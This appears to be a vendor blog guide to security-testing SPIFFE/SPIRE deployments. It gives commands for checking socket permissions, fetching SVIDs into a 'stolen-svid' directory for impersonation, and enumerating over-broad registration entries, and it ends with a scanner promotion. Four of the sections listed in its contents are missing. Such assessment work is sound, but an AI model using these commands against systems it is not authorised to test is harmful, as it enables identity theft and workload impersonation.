SPIFFE/SPIRE Security Testing: SVID Forgery, Trust Domain Bypass, and Agent API Exploitation

SPIFFE (Secure Production Identity Framework for Everyone) provides a standard for workload identity, while SPIRE (SPIFFE Runtime Environment) is its reference implementation. SPIRE issues SVIDs (SPIFFE Verifiable Identity Documents) as X.509 certificates or JWTs to workloads via a Unix socket on each node. Security weaknesses include: SPIRE agent socket world-readable allowing any local process to obtain any registered workload identity, registration entries with overly broad selectors granting unintended workloads access to privileged identities, trust bundle theft enabling offline SVID forgery, federation configuration errors collapsing trust domain boundaries, and the SPIRE server admin gRPC API accessible without mTLS in default dev configurations. This guide covers systematic SPIFFE/SPIRE security assessment.

Table of Contents

  1. SPIRE Agent Socket Exploitation
  2. Registration Entry Over-Privilege
  3. Trust Bundle Theft and SVID Forgery
  4. Trust Domain Federation Bypass
  5. SPIRE Server Admin API Exposure
  6. Attestation Plugin Weakness
  7. SPIFFE/SPIRE Security Hardening

SPIRE Agent Socket Exploitation

# SPIRE agent exposes workload API via Unix socket (default: /tmp/spire-agent/public/api.sock)
# If socket permissions are world-readable, any local process can request SVIDs

# Check SPIRE agent socket permissions
ls -la /tmp/spire-agent/public/api.sock 2>/dev/null
ls -la /run/spire/sockets/agent.sock 2>/dev/null
# srw-rw-rw = world-writable = any process can fetch SVIDs

# Use spire-agent CLI to fetch SVID from socket
spire-agent api fetch x509 \
  -socketPath /tmp/spire-agent/public/api.sock 2>/dev/null
# If selectors match any registered entry, returns valid X.509 SVID

# Enumerate all SVIDs available to current process context
spire-agent api fetch x509 \
  -socketPath /tmp/spire-agent/public/api.sock \
  -write /tmp/stolen-svid 2>/dev/null && \
  openssl x509 -in /tmp/stolen-svid/svid.0.pem -noout -text 2>/dev/null | \
  grep -E "(Subject:|URI:|Not After)"
# Subject URI contains SPIFFE ID: spiffe://trust-domain/workload-name

# Fetch JWT SVID (useful for API impersonation)
spire-agent api fetch jwt \
  -socketPath /tmp/spire-agent/public/api.sock \
  -audience api.internal.example.com 2>/dev/null | head -5

Registration Entry Over-Privilege

# SPIRE registration entries define which workloads get which SPIFFE IDs
# Over-broad selectors (e.g., any pod in a namespace) grant unintended identities

# List all registration entries (requires SPIRE server admin access)
spire-server entry show \
  -socketPath /tmp/spire-server/private/api.sock 2>/dev/null | \
  grep -A5 "Entry ID"

# Via spire-server API — show entries with broad K8s namespace selectors
spire-server entry show \
  -socketPath /tmp/spire-server/private/api.sock \
  -selector k8s:ns:production 2>/dev/null | head -40
# Entries selecting only by namespace mean ANY pod in that namespace gets the SPIFFE ID

# Test: can we get a privileged SPIFFE ID from a low-privilege pod?
# From inside a pod in 'production' namespace:
spire-agent api fetch x509 \
  -socketPath /run/spire/sockets/agent.sock 2>/dev/null | \
  grep "spiffe://" | head -5
# If returns high-value identity (e.g., spiffe://example.org/database) from an unprivileged pod,
# the entry selector is over-broad

SPIFFE/SPIRE Security Hardening

SPIFFE/SPIRE Security Hardening Checklist:
Security TestMethodRisk
Agent socket world-readablels -la /tmp/spire-agent/public/api.sock — check permissionsCritical
Over-broad entry selector allows SVID theftFetch SVID from unprivileged workload matching namespace-only selectorCritical
Trust bundle accessible — enables SVID forgeryRead CA cert from agent socket or config pathHigh
SPIRE server admin API without mTLSspire-server entry show without cert — succeedsHigh
Federation trust domain collapseSVID from domain A accepted by domain B services without policyHigh
Join token reuse for node attestationReuse a captured join token to attest a rogue SPIRE agentHigh

Automate SPIFFE/SPIRE Security Testing

Ironimo tests SPIFFE/SPIRE deployments for agent socket over-permissive access, registration entry over-privilege enabling SVID theft, trust bundle exposure, SPIRE server admin API authentication bypass, trust domain federation misconfiguration, attestation plugin weakness, and SVID TTL and rotation policy gaps.

Start free scan